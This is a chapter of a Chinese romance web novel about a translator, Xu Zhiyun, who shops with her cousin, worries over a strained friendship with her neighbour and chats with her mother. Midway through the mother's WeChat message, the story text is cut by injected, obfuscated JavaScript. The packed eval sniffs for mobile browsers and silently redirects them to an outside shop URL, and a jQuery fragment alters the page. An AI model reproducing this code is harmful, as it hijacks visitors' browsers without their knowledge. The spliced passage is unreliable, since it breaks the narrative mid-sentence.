陈美芝约许知蕴出来逛街买衣服时，就看见自己的表妹一副蔫了吧唧的样子，就连挑衣服都有些魂不守舍了。
她索性不试衣服了，把许知蕴拉到一家奶茶店里，给她点了一杯果茶。
“小蕴。”陈美芝伸出手来，捏了捏她的脸颊，“怎么了，遇见什么烦心事了？”
许知蕴闷闷不乐的吸溜了一大口奶茶小料：“没什么，就是……人际交往上，出了点问题。”
“和朋友吵架了？”陈美芝很敏锐。
许知蕴点点头，又摇摇头。她一时间心里有些乱，不知道该怎么回答。
见她不作声，陈美芝也不强求，“既然一下子不知道要怎么办，不如就先放一放吧。说不定过了一段时间，解决的方法就自动从大脑中跳出来呢？”
……
其实，在那一天的晚上，许知蕴就给程烨然发了道歉的消息。
[对不起，是我说话太呛了。]
手机上方显示“正在输入中”，过了几秒，程烨然的消息就传了过来。
[不好意思，是我的问题。]
双方都道歉了，那这个问题究竟解决了吗？
许知蕴觉得并没有解决。
……
那天之后，每次在楼道里碰见程烨然，许知蕴都莫名心虚。尽管程烨然的表情再正常不过，也会同她挥手道早安或者晚安，但许知蕴就是感到不自在，仿佛同他隔了一层。
她不太敢直视对方，每次都草草打招呼后离开，甚至到了后来，再在不远处看见程烨然的身影时，她选择的是绕道走。
绕道走，就不会产生令人烦恼的交集了。
*
心情的郁结化为了挑衣服的动力。
她这趟来，主要是陪陈美芝买衣服的。夏天到了，正是买夏装的好时候。每进一个店，许知蕴就尽职尽责地开始挑选起来，一口气给陈美芝挑了□□套衣服，让她挨个试。
……
“这条亚麻裙怎么样？”
“美式运动风呢？”
“这条收腰的小黑裙，穿起来肯定很显身材……”
……
这家店不满意，就换下一家。将整条步行街都几乎逛了个遍，最终的结果就是，陈美芝和许知蕴两人，手上各提了五个大袋子。
在给陈美芝挑衣服的过程中，许知蕴其实也给自己买了两套。当付款成功，拿到心仪的东西时，许知蕴缓缓呼出一口气，感觉整个身心都愉悦了许多。
难道这就是购物的魔力？
买完衣服，她们去吃饭，挑选的是一家颇有情调的西餐厅。许知蕴注意到，陈美芝偶尔会在手机上敲敲打打，似乎是给人发消息，脸上的表情也很耐人寻味，像是害羞，又像是甜蜜。
她眼里露出了然的神情，坏笑着凑到表姐身边去。
“表姐呀。”她眨巴眨巴眼睛，“实话告诉我，你是不是——谈恋爱了？”
她故意把“谈恋爱”三个字拖得老长。
陈美芝收起手机，面上显露出些许赧然：“不是哦。准确来说，我这还处于暧昧阶段。至于能不能成……谁知道呢？”
许知蕴对于陈美芝的决定向来是赞成的，不过她依旧想要替陈美芝来把把关。都说当局者迷旁观者清，万一又出现个李文俊第二怎么办？
她板起脸，像查户口那样开始盘问：“他是什么人？你们怎么认识的？”
陈美芝失笑，同许知蕴讲起自己的这位暧昧对象来。工作稳定，比陈美芝大两岁，兴趣爱好是打网球，两人是在网球场里认识的，组队参加过好几场比赛，所以愈发熟稔……林林总总说了那么多，许知蕴总算放下了半颗心。听起来，这位暧昧对象似乎是个不错的人。
不过，仍然不能掉以轻心。
毕竟人的心是会变的。某个时候的爱，确实是真心的，可是过后呢？
看着许知蕴严肃的脸蛋和对她的劝告，陈美芝笑着给她拿过去一个蛋挞。“表姐是什么样的人，你还不清楚吗？我没那么容易陷进去。”
“我呢，想要追求爱情，追求幸福，但是这些东西并不是我的最高追求。”陈美芝拍拍许知蕴的肩膀，示意她放心，“我不会重蹈覆辙的。”
但愿吧。许知蕴在心底轻声说。
*
许知蕴总算把那本书看完了。
她开始着手准备翻译工作，每天一睁眼，不是对着电脑，就是对着字典。其中一本字典跟着她有些年头了，身上全是岁月的痕迹。许知蕴很担心，会不会哪一天她一翻，这本字典就寿终正寝了。
还好，它很坚强，目前并没有退休的迹象。
许知蕴真正忙起来的时候，那叫一个昏天黑地。读研时，为了赶课题，她可以踩着图书馆开门的时间进去，中午和晚上饿了就点外卖，在馆外捧着碗速战速决，随后又匆匆忙忙进去，直到闭馆的音乐声响起，才慢悠悠地晃出来。有时候忙得连饭都忘记吃，许知蕴也浑不在意。既然忘记吃，那想必是不饿了。
她就这样从大早上一直坐到晚上，累了就起来走两步，省略了午睡时间，午饭也是在下午两点半吃的，将好不容易规律的胃部生物钟又打乱。
翻译的过程，于许知蕴而言，既是工作，也是爱好。既是痛苦，也是享受。
她比别人都更早的看到这本书真正的样子，身处其中，感受故事的脉搏，了解人物的喜怒哀乐……这对许知蕴而言，无疑是最棒的一件事。
期间吃饭时，许知蕴还抽空看了眼手机。微信里冒出几个红点，许知蕴伸手点开，还以为是周颂又给她发什么程烨然的相关消息。
但发信人是妈妈。
许知蕴把心中那点莫名其妙的期待抛掉，点开对话框。
她妈发了三个六十秒的语音，外加两张照片。许知蕴认认真真将语音听完，然后按捺不住心中的激动，连发了五个感叹号。
[你们六月份就要回来啦？哪个机场，我到时候去接你们！]
许妈妈回得很快：[城西国际机场，晚上八点半到。记得带老爸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067596|149342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老妈去吃烧烤哟。]
许知蕴忍俊不禁：[你们在国外还没享受够美食呀？]
[这怎么能一样？]许妈妈回复，[你也是留过学的人，外国的东西就算做法和我们再相似，吃起来的口感还是不同的。你老爸和我都要馋死烧烤了。]
许知蕴笑着应下来。两人闲扯了几句家常，许妈妈突然又绕了回来。
[你和那位程先生，进展如何啦？]
许知蕴无奈道：[妈，就是普通朋友，哪有什么进展不进展的。]
[哎，那算了，我之前还以为你们对彼此有感觉呢。]
许妈妈感叹：[果然还是没有缘分啊。]
许知蕴心底下那份奇奇怪怪的别扭心情又涌上来了。
“没有缘分”，这是她在前几次相亲里必说的托词。
“对不起啊，我想我们没有缘分，祝您找到更好的人。”说完这句话后，她就可以潇洒离场。她从不在内心反驳自己，因为她确实觉得，自己的人生和他们的人生，注定只是仅有一个交点，随后又分开的直线。
可她和程烨然的交点仅仅只有一个吗？
许知蕴无法控制地回想着那些清爽的早晨，和拂过凉风的夜晚。酒吧里若有若无的香气、楼道中互相说着的“早上好”和“晚安”、一起吃完饭后去看到的深蓝色的海、在旅游的民宿碰见彼此，然后一起欢快地去钓鱼……
明明有很多交点，不是么？
她一时心乱如麻，捧着手机，不知道要回复什么，只是闷闷地发了两个毫无意义的表情包过去。许妈妈似乎能从女儿发信息的间隔时间和内容中感受到，许知蕴现在似乎并不想过多地谈论这个话题。
[好啦，别想那么多。]许妈妈最后说，[好好工作吧，我不打扰你了。]
手机屏幕的亮光逐渐缓缓熄灭。
许知蕴叹了口气，将脑子里如同被猫弄乱的毛线团般的思绪扯出来，丢到粉碎机里销毁了个干净。
还是认真翻译吧。
由于午饭是在下午两点半吃的，现在她并不饿。何况先前聊天占据了原本规划的时间，许知蕴心一横，打算不吃晚饭了——如果饿了，再煮也不迟。
她继续忙碌起来，努力地把自己投入到一串串单词和长句之中。不知过了多久，此刻天色已经暗下来，她也完成了今日的目标计划，伸着懒腰，做了几个舒缓肩颈和手部的动作，便慢腾腾地到厨房，打开冰箱一顿翻找，想着今晚吃什么。
冷冻层还有一根排骨，是许知蕴前天晚上在超市里买的。晚上超市打折，什么东西都便宜，她毫不留情地往购物车里塞了好多日用品和生鲜，最后提着个印有超市LOGO的特大袋子，累死累活地扛回了家。
就做糖醋排骨好了。许知蕴喜欢一切糖醋口味的东西。
她正哼着歌，喜滋滋地在洗手台冲洗排骨上的血水，心中忽然就有些不祥的预感。
还没等她把排骨用面粉揉搓完，厨房和客厅的所有灯光，就“啪嚓”一下子全熄灭了。